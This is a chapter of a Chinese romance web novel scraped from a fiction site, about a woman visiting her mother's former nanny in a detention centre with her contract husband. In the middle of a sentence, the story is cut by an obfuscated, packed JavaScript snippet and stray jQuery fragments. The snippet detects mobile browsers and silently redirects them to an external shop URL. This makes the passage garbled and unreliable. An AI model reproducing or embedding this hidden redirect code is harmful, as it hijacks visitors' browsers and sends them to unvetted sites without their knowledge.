文趣网 > 其他小说 > 雨夜荒唐[先婚后爱] > 50. 认妻
    寿宴过后那几天,沈微澜睡得比往常沉。

    这份沉让她警惕。她习惯把复仇计划在黑暗里过一遍才肯闭眼,睡得浅,夜里偶尔醒来。可那晚在车里,她头靠在一个人的肩上,睡着了。醒来时车已停进半山,陆承衍的手还握着她,没松。

    她坐直,谁都没提这件事。

    此后几天,两人照旧。她晨起,他在餐桌那头翻文件。她喝黑咖啡,他喝粥。他偶尔抬头看她一眼,目光落到她眼下的青影上,又收回去。那种目光她认得,他什么都看得透,只是不点破。

    可沈微澜清楚,有根刺扎进去了。

    陆明尧在寿宴上那句“你母亲当年不就是……”没说完,却比说完更恶毒。这些天,那句话总在她做事的中途跳出来。她照常工作,开会,布局,理账,效率高得吓人。只有夜里,她会在书房的灯下坐着一动不动,像在想什么。

    ……

    三天后的深夜,沈微澜不知第多少次打开那个铁盒。

    盒子里只有一封信。镯子戴在她腕上,青白温润。信她读过很多遍,几乎能背下来。这一夜,她重新把信展开。

    “别做棋子,要做那个下棋的人。”

    她读完信,忽然想起母亲说过的这句话。接着,她想起一个人。

    当年母亲从林家嫁进沈家,带过来一个保姆,姓徐,沈氏宅子里的人都叫她徐妈。张妈给她的,是母亲留下的东西;可母亲死前那半年在沈家到底经历了什么,这世上只有徐妈亲眼见过。徐妈,是母亲死前最后陪在身边的人。

    她找了这个人很多年。

    母亲死后,徐妈就从这个世界上消失了。有人说她回了老家,也有人说她死了。沈鸿远把这条线藏得极深,她的人查了几回,都断在同一个地方。她一度以为,这个人已经不在了。

    她把信折好,放回盒里。

    就在这时,手机亮了。

    她的人发来消息:“徐秀珍的行踪找到了。沈鸿远的人重新控制了徐秀珍,人已被带回城北看守所。”

    沈微澜盯着这行字,看了很久。

    徐秀珍。徐妈的本名。

    原来她没死。原来这十三年,她一直活在沈鸿远手里。

    沈鸿远应该是慌了。在她的网步步收紧的时候,这个做了五十几年恶狼的男人,本能地嗅到了危险。他查不到她,但他查得了徐妈。徐妈是知晓母亲死因的活口,他这些年埋得最深的那步棋。现在,他把徐妈从暗处拎了出来,要么逼她闭嘴,要么……是打算彻底除掉。

    沈微澜放下手机,走到窗边。半山的夜很静,雾从山脚漫上来,把窗外的香樟泡成模糊的黑。

    她必须去了。这一趟,她等了十三年。

    她转身,安排了明天的一辆车。

    全程她都没有告诉陆承衍。

    最痛的地方,她习惯一个人处理。

    ……

    翌日清晨,沈微澜下楼吃早餐。

    她把日程排好:上午去看守所,下午回公司,晚上约了林老对第二笔转移路径。

    走到餐厅,她脚步慢了半拍。

    陆承衍已经坐在那里。他穿了件深灰羊绒衫,袖口挽起,露出一截线条利落的小臂,腕上一块极薄的表。他翻文件的样子很专注,侧脸在晨光里冷而清晰,喉结随着低头的动作,很轻地动了一下。听见脚步声,他抬眼。

    “早。”他说。

    “早。”沈微澜坐下。

    管家端上黑咖啡和燕麦粥。她端起咖啡,送到唇边,又放下。胃里像堵着东西,喝不下去。她拿起勺子,在粥里搅了一下,没舀起来。

    对面翻纸的声音停了。

    一只修长的手伸过来,把一杯温牛奶放到她手边,指尖顺势把那杯黑咖啡往旁边挪了挪。他的指腹擦过她的指节,很轻,像一片雪落下来,又很快化掉。

    “今早别喝咖啡了。”他说。

    她低头看那杯牛奶。被他擦过的那根手指,指节上还留着一点很轻的温热,像没散。

    “我胃有点堵。”她说。

    “那试试牛奶。”他低头继续翻文件,没再看她。

    沈微澜端起牛奶,抿了一小口。她没跟人说过,她其实不太喜欢早上喝牛奶,可他递来的这杯温度刚好。

    她忽然意识到,从坐下到现在,她一直不敢看他。

    因为她知道,只要对视,他就会问。而他一旦问,她怕自己会说出来。

    这个念头让她心里发慌。她活了二十八年,头一回在一个人面前,需要躲开对方的眼睛。

    ……

    沈微澜吃完早餐,上楼换衣服。

    经过他书房门口,那扇门半掩着,能听见里面极轻的翻页声。她没有停步,走回房间,换上外出的衣服。

    出门前,她在玄关站定。

    管家迎上来,递过她的包,顺带说了一句:

    “车已经备好了,加满了油。司机换了张师傅,北郊的路他熟。”

    沈微澜的手停在包带上。

    “先生吩咐的?”

    “是。”管家顿了顿,补了一句,“先生听司机说您要出门,又看您这两天没睡好,让他们路上稳妥些。”

    沈微澜没说话。

    她昨晚一个字都没跟他提。他也没问。可他看见她眼下的青影、她躲他的眼睛,也许,他还看出她今天要出一趟很远、很沉的门。

    他什么也不问,只把车备好,把路铺平,然后退到一边,等她自己走。

    这种“看见却不打扰”,比追问更让她难受。

    因为她发现,自己其实一直在等他问。

    ……

    沈微澜走出门,车停在廊下。

    她坐进后座,车子缓缓驶出。拐弯时,她不知为何,抬头扫了一眼。

    二楼书房的窗边,站着一个高大挺拔的人影。深灰的羊绒衫,晨光落在半张脸上。他没有下楼,只是站在那里,目送车子离开。

    车子拐过街角,那扇窗隐进树影里。

    沈微澜靠进座椅,看窗外的香樟一株株往后倒。

    她告诉自己,你一个人去。你从来都是一个人。

    这句话在脑子里转了两圈,她打起精神。

    ……

    城北看守所在城郊,灰扑扑的一堵高墙,墙头拉着铁丝网。

    沈微澜到的时候,门口停着几辆警车。她下了车,走过去。

    接待窗口后坐着个中年女人,低头看手机。沈微澜报出徐秀珍的名字,说要探视。

    中年女人抬头,看见她,先是露出惊艳的神色,随后像是想起什么,神色淡了下去:“徐秀珍?非直系亲属不安排探视。你有证明吗?”

    “有。”沈微澜把材料推过去,“我是她雇主家的女儿。她照顾过我母亲。法律上,我属于可以申请探视的利害关系人,可以走审批。”

    中年女人翻了翻材料:“审批要三天。你回去等吧。”

    “材料齐全,我现在就提出申请。”沈微澜的声音平静,“多久能办下来,您给个准话。”

    中年女人把材料往外一推:“跟你说三天就三天,这是规定。”

    沈微澜没有动。

    她看清了这堵墙是怎么回事。沈鸿远的手伸到了这里。跟这些人讲道理,讲不通;硬来反而正中沈鸿远下怀。

    她压下火气,把一份复印件和一张名片推过去,声音不高:

    “这是我的律师。如果审批被无故拖延,我会走正式程序,申请监督。”

    说完,她没有走,转身坐到了大厅靠墙的长椅上,拨了一个电话。

    电话接通,她压低声音,把这里的情况和律师简短过了一遍。对方应了几声,说这就处理。

    挂了电话,沈微澜坐着,脊背挺得笔直,看墙上的钟。

    她可以等。她等了十三年,不缺这一时半刻。

    可是,徐妈在里面多待一天,就多一分危险。沈鸿远既然能把人弄进来,就能再把人弄消失。

    她盯着那扇始终不肯为她打开的门,心里那根弦越绷越紧。

    就在这时,她听见身后传来极轻的脚步声。

    很稳,很有节奏。

    她不用回头,也知道是谁。

    ……

    陆承衍走到她身边,没有坐下。

    沈微澜抬头。他换了一身深色大衣,里面是深灰高领衫,整个人像从半山的晨雾里走出来,身上带着雪松混羊绒的气味。他居高临下地站着,影子落在她膝头。那气味随着他的靠近压下来,很淡,却清晰。

    “你怎么来了。”她的声音平稳,可她自己知道里面有半分恼怒。

    “来陪你。”他说。

    沈微澜别开眼:“我不需要。”

    “我知道。”他看着她,“可我正好也想来。”

    她喉头哽了一下,一时说不出话。

    她忽然想明白一件事。他查过她的过去,也在追踪沈鸿远近期的动向。两样拼在一起,她今天会来哪,他一早就算到了。可他从头到尾一个字都没问。他只是……跟来了。

    这个男人,总有这份不动声色的分寸。他从不逼她,只把他自己挪到她身边。

    ……

    陆承衍走到窗口前。

    他低头看了眼那叠被推回来的材料,没说什么,拿出手机拨了个号码,走到一旁,低声说了几句。

    他打电话时,侧身对着她,领口下的一截脖颈绷得笔直,声音压低,像在处理一件再小不过的事

    大厅里很静。窗口后的中年女人原本还在摆弄那叠材料,听见“陆氏”两个字,手上的动作停了下来,抬头,脸色一点一点变了。

    “陆、陆氏集团的陆承衍?”她小声跟旁边的同事确认。

    同事探头看了一眼,眼睛都睁大了,压低嗓子:“天,真是他。”

    沈微澜坐在这头,把她们的窃窃私语听得一清二楚。她没看陆承衍,只垂下眼。

    几分钟后,窗口的电话响了。

    中年女人接起来,脸色变了又变,最后挂断,站起身,朝陆承衍堆出一个有些僵的笑:“陆先生,探视给您安排好了,马上带人过来。”

    陆承衍走回沈微澜身边,坐下。

    他坐得离她很近,膝盖几乎碰上她的。沈微澜往旁边挪了一点。他没有跟过来,也没有让开,就那样坐着,留出一段刚好容不下第三个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887691|212611||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人、又随时会碰上的距离。

    ……

    会见室很小,一张桌子,一道玻璃。玻璃那边,一把空椅子。

    沈微澜在玻璃这边坐下。陆承衍坐在她旁边,安静得像不存在。

    门开了。

    一个老人被带进来。她很瘦,瘦得像一把干柴,头发花白,别在耳后。她低着头,被按在椅子上,然后慢慢抬头。

    隔着一道玻璃,她眯起眼,朝这边看。

    看了很久。

    然后,她浑浊的眼睛里,突然有了光。

    “小姐……”她的声音沙哑,从喉咙深处挤出来,发着抖,“你……你长这么大了。”

    沈微澜的喉咙像是被人攥住了。

    小姐。

    这个称呼,她很久没频繁听过了。沈家的人叫她“二小姐”,外面的人叫她“沈女士”“陆太太”,只有眼前这个人,还叫她“小姐”。这是林家的旧称,母亲那边的世界。

    ……

    “徐妈。”沈微澜开口,声音比自己预想的要稳。

    老人隔着玻璃,眼泪一下子就下来了。她用袖子擦,擦得很用力。

    “我老想着你会不会来。”徐妈哽咽着说,“沈鸿远那个畜生,做局诬我,把我关在这头,连你长什么样我都不知道。我天天盼,又怕你真的来了,会连累你。”

    沈微澜的眼眶发烫。

    她没有哭。她抿着嘴,把那股酸意压下去。

    “你身体怎么样?”她问。像一个来探视的晚辈。

    “好,好得很。”徐妈抹着眼泪,“这里有吃有喝,比在沈家那会儿强。”

    沈微澜的心揪了一下。

    ……

    “徐妈。”两人聊了许久,沈微澜沉默了一会儿,问出那句她藏了十三年的话,“我妈……她在沈家,到底是什么情况?”

    会见室里静了下来。

    徐妈看着她,眼里的泪又涌上来。她吸了吸鼻子,用带着哭腔的声音,慢慢地说:

    “大小姐啊……大小姐刚嫁过来、你还没出生那两年,会笑。”

    “她喜欢弹钢琴。家里那架琴,她总擦得锃亮。她说,等微澜满月,要带她去南边的梅园,说我们微澜的眼睛将来要见最好的风景。”

    沈微澜听着,眼前慢慢浮起一个女人的轮廓。那个女人神色温和,会笑,会弹琴,会给女儿描画未来。

    “后来,沈鸿远开始不怎么回家。”徐妈的声音低下去,“他偶尔回来,一回来就摔东西,跟大小姐要钱,要林家剩下的东西。大小姐不给,他就说,你一个嫁进来的女人,人都是沈家的,钱凭什么不是。”

    “再后来……大小姐在走廊里走。光着脚,走来走去。我就在后头跟着,不敢出声。”

    徐妈说到这里,眼泪又掉下来。

    “你三岁学走路,摔倒了。大小姐不扶你,站在三步外,说微澜,自己起来。你爬起来,她就把你搂进怀里,说我们微澜,将来不靠谁。”

    沈微澜的手在桌下慢慢收拢。

    她的指甲掐进了掌心。

    ……

    就在她掐得最用力的时候,一只手覆了上来。

    温热的,干燥的,覆在她桌下的那只手上。他的手指没有用力,只是松松地搭着,像在等她决定,是要抽走,还是留下。

    她没有低头,却知道是谁。陆承衍没有看她,目光平静地落在玻璃那头的老人身上,只有那只手,克制地、不轻不重地压着她的手背。

    沈微澜的手僵了一下。

    她的第一反应是抽。可她喉咙有一股几乎要冲破喉咙的酸意,这股酸意让她在抽与不抽之间停住了。

    她没抽。

    ……

    “大小姐还织过一件小毛衣。”徐妈说,声音轻下来,“织了一半,说要等冬天给你穿。那半件毛衣,我一直替你收着。”

    沈微澜的手指微微发颤。

    “在哪儿?”她问,声音哑了。

    “在一个地方。等我出去了,我带你去找。”徐妈说,目光温柔地看着她,“小姐,大小姐要是知道你长成现在这样,一定高兴。”

    徐妈说完,目光才落到沈微澜旁边的人身上。

    她眯起眼,看了陆承衍一会儿,又看向沈微澜,语气里多了点小心翼翼:“小姐,这位先生是……”

    沈微澜张了张嘴。

    没说出来。

    她忽然发现,自己不知道怎么介绍他。契约丈夫,交易对象,这两个词,在母亲的人面前,她一个都说不出口。可“丈夫”这个词,她又觉得,这段关系配不上。

    她卡住了。

    就在这时,陆承衍动了。

    他慢慢站起身,朝玻璃那头的老人,微微弯了弯腰。动作不熟练,甚至有点僵硬,但很郑重。

    “徐姨。”他的声音很低,很稳,“我是微澜的丈夫。陆承衍。”

    他说这话时,脊背挺得笔直。他把这份郑重放在一个看守所里的老人身上,比他出席陆氏任何一场谈判都更郑重。

    会见室里一时没人说话,只有墙上的挂钟慢慢走。

    他顿了顿,补了一句:“我该早点来见您。”